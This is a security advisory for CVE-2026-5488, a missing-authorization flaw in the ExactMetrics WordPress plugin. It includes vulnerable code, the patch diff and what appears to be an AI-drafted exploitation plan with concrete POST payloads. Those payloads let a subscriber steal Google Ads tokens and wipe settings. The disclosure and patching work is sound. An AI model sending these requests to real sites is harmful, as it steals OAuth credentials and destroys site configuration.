ExactMetrics <= 9.1.2 - Authenticated (Subscriber+) Missing Authorization to Google Ads Access Token Retrieval via AJAX Action 'exactmetrics_ads_get_token'
Description
The ExactMetrics – Google Analytics Dashboard for WordPress plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 9.1.2. This is due to missing capability checks in the get_ads_access_token() and reset_experience() AJAX handlers. While the mi-admin-nonce is localized on all admin pages (including profile.php which subscribers can access), and while other similar AJAX endpoints in the same class properly check for the exactmetrics_save_settings capability, these two endpoints only verify the nonce. This makes it possible for authenticated attackers, with subscriber-level access and above, to retrieve valid Google Ads access tokens and reset Google Ads integration settings.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=9.1.2What Changed in the Fix
Changes introduced in v9.1.3
Source Code
WordPress.org SVNThis plan outlines the exploitation research for CVE-2026-5488, a missing authorization vulnerability in the ExactMetrics WordPress plugin. ## 1. Vulnerability Summary The **ExactMetrics – Google Analytics Dashboard for WordPress** plugin (versions <= 9.1.2) fails to perform capability checks on tw…
Show full research plan
This plan outlines the exploitation research for CVE-2026-5488, a missing authorization vulnerability in the ExactMetrics WordPress plugin.
1. Vulnerability Summary
The ExactMetrics – Google Analytics Dashboard for WordPress plugin (versions <= 9.1.2) fails to perform capability checks on two specific AJAX handlers: exactmetrics_ads_get_token and exactmetrics_ads_reset_experience. While these endpoints verify a WordPress nonce (mi-admin-nonce), they do not verify if the user possesses the exactmetrics_save_settings capability (typically held by Administrators). Because the required nonce is localized on common admin pages (like profile.php), any authenticated user, including those with Subscriber privileges, can retrieve Google Ads access tokens or reset the plugin's Google Ads integration settings.
2. Attack Vector Analysis
- Endpoints:
/wp-admin/admin-ajax.php - Actions:
exactmetrics_ads_get_tokenandexactmetrics_ads_reset_experience - Parameter:
nonce(carrying themi-admin-noncevalue) - Authentication: Authenticated (Subscriber-level and above)
- Preconditions:
- The plugin must be active.
- For
exactmetrics_ads_get_tokento return a token, the plugin must be authenticated with a Google account (can be mocked for PoC).
3. Code Flow
Token Retrieval Path:
- Entry Point:
ExactMetrics_Google_Ads::__construct(inincludes/ppc/google/class-exactmetrics-google-ads.php) registers the AJAX action:add_action('wp_ajax_exactmetrics_ads_get_token', array($this, 'get_ads_access_token')); - Handler:
ExactMetrics_Google_Ads::get_ads_access_token()is called. - Nonce Check:
check_ajax_referer('mi-admin-nonce', 'nonce');verifies the nonce. - Authorization Check: MISSING. (Compare this to
update_ads_setting()in the same class, which checkscurrent_user_can('exactmetrics_save_settings')). - Token Fetching: Calls
$this->get_access_token(). - Response:
wp_send_json_success(array('access_token' => $access_token_result));sends the token back to the subscriber.
Experience Reset Path:
- Entry Point: Constructor registers
wp_ajax_exactmetrics_ads_reset_experience. - Handler:
ExactMetrics_Google_Ads::reset_experience()is called. - Nonce Check:
check_ajax_referer('mi-admin-nonce', 'nonce');verifies the nonce. - Authorization Check: MISSING.
- Data Destruction: Calls
self::clear_data(), which executes:delete_transient(self::TOKEN_CACHE_KEY);exactmetrics_delete_option(self::SETTINGS_KEY); - Response: JSON success message.
4. Nonce Acquisition Strategy
The mi-admin-nonce is generated and localized for the exactmetrics-admin-setup-wizard script. According to includes/admin/admin-assets.php, this script is enqueued on all admin pages where a setup notice might show, including profile.php, which is accessible to Subscribers.
- Login: Authenticate as a Subscriber user.
- Navigate: Access
http://vulnerable-site.com/wp-admin/profile.php. - Extraction: Use
browser_evalto extract the nonce from the global JavaScript object:browser_eval("window.exactmetrics?.nonce")
The localization is registered inadmin_scripts():wp_localize_script( 'exactmetrics-admin-setup-wizard', 'exactmetrics', array( 'ajax' => admin_url( 'admin-ajax.php' ), 'nonce' => wp_create_nonce( 'mi-admin-nonce' ), ) );
5. Exploitation Strategy
Phase 1: Access Token Retrieval
- Identify Vulnerability: Send a POST request to
admin-ajax.phpas a Subscriber using the extracted nonce. - Payload:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=exactmetrics_ads_get_token&nonce=[EXTRACTED_NONCE] - Expected Response: A JSON object containing
success: trueand theaccess_token.
Phase 2: Reset Experience (DoS/Configuration Wipe)
- Payload:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=exactmetrics_ads_reset_experience&nonce=[EXTRACTED_NONCE] - Expected Response:
{"success":true,"data":{"message":"Google Ads experience reset successfully."}}.
6. Test Data Setup
To ensure the PoC demonstrates impact (returning a real-looking token), the following state must be created:
- Create Subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Mock Google Authentication: The
get_access_token()method checksexactmetrics_is_authed(). We must set the expected transient so it doesn't try to call the real Google API.wp transient set exactmetrics_google_ads_access_token_data '{"token":"POC-SECRET-TOKEN-12345", "expires_at":"2029-01-01 00:00:00"}' 3600 - Set Settings: Create some dummy settings to be cleared.
wp option set exactmetrics_google_ads_settings '{"conversion_tracking_id":"AW-123456789"}'
7. Expected Results
- Token Retrieval: The HTTP response must contain
"access_token":"POC-SECRET-TOKEN-12345". - Reset Experience: The settings option
exactmetrics_google_ads_settingsand the transientexactmetrics_google_ads_access_token_datamust be deleted from the database.
8. Verification Steps
- Check Token Access: After the first POST request, verify the response JSON body for the mock token.
- Check Settings Deletion: After the second POST request, verify using WP-CLI:
wp option get exactmetrics_google_ads_settings(Should return error/empty).wp transient get exactmetrics_google_ads_access_token_data(Should return error/empty).
9. Alternative Approaches
If profile.php does not load the mi-admin-nonce in the specific test environment, navigate to the main ExactMetrics dashboard (if the Subscriber has exactmetrics_view_dashboard capability, though the description implies profile.php is the intended leak point).
If the exactmetrics JS object is missing, check for exactmetrics_admin_common which may also contain nonces, though the specific action mi-admin-nonce is tied to the setup wizard script.
Summary
The ExactMetrics plugin for WordPress fails to implement authorization checks on two AJAX handlers, `exactmetrics_ads_get_token` and `exactmetrics_ads_reset_experience`. Because the required nonce (`mi-admin-nonce`) is localized on all admin pages accessible to low-privilege users, an authenticated attacker with Subscriber-level access can retrieve Google Ads access tokens or reset the plugin's Google Ads integration settings.
Vulnerable Code
// includes/ppc/google/class-exactmetrics-google-ads.php line 165 public function reset_experience() { check_ajax_referer('mi-admin-nonce', 'nonce'); self::clear_data(); wp_send_json_success(array( 'message' => __('Google Ads experience reset successfully.', 'google-analytics-dashboard-for-wp'), )); } --- // includes/ppc/google/class-exactmetrics-google-ads.php line 242 public function get_ads_access_token() { check_ajax_referer('mi-admin-nonce', 'nonce'); $access_token_result = $this->get_access_token(); if (is_wp_error($access_token_result)) { wp_send_json_error(array( 'message' => $access_token_result->get_error_message(), 'code' => $access_token_result->get_error_code(), 'details' => $access_token_result->get_error_data(), )); } wp_send_json_success(array( 'access_token' => $access_token_result, )); } --- // includes/admin/admin-assets.php line 220 wp_enqueue_script( 'exactmetrics-admin-setup-wizard', plugins_url( 'assets/js/admin-setup-wizard.js', EXACTMETRICS_PLUGIN_FILE ), array( 'jquery' ), exactmetrics_get_asset_version(), true ); wp_localize_script( 'exactmetrics-admin-setup-wizard', 'exactmetrics', array( 'ajax' => admin_url( 'admin-ajax.php' ), 'nonce' => wp_create_nonce( 'mi-admin-nonce' ), ) );
Security Fix
@@ -167,6 +167,12 @@ public function reset_experience() { check_ajax_referer('mi-admin-nonce', 'nonce'); + if (! current_user_can('exactmetrics_save_settings')) { + wp_send_json_error(array( + 'message' => __('You do not have permission to reset the Google Ads experience.', 'google-analytics-dashboard-for-wp'), + )); + } + self::clear_data(); wp_send_json_success(array( @@ -244,6 +250,12 @@ { check_ajax_referer('mi-admin-nonce', 'nonce'); + if (! current_user_can('exactmetrics_save_settings')) { + wp_send_json_error(array( + 'message' => __('You do not have permission to retrieve the Google Ads access token.', 'google-analytics-dashboard-for-wp'), + )); + } + $access_token_result = $this->get_access_token(); if (is_wp_error($access_token_result)) {
Exploit Outline
To exploit this vulnerability, an attacker first authenticates to the WordPress site as a low-privileged user (e.g., Subscriber). They navigate to their own profile page (`/wp-admin/profile.php`), where the plugin's setup wizard script enqueues the `exactmetrics` JavaScript object containing the `mi-admin-nonce`. The attacker extracts this nonce and then issues a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to either `exactmetrics_ads_get_token` (to retrieve a valid Google Ads OAuth access token) or `exactmetrics_ads_reset_experience` (to delete the existing Google Ads integration settings). Because the plugin only checks the nonce and lacks any capability check (like `current_user_can('exactmetrics_save_settings')`), the server processes the request for the Subscriber.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.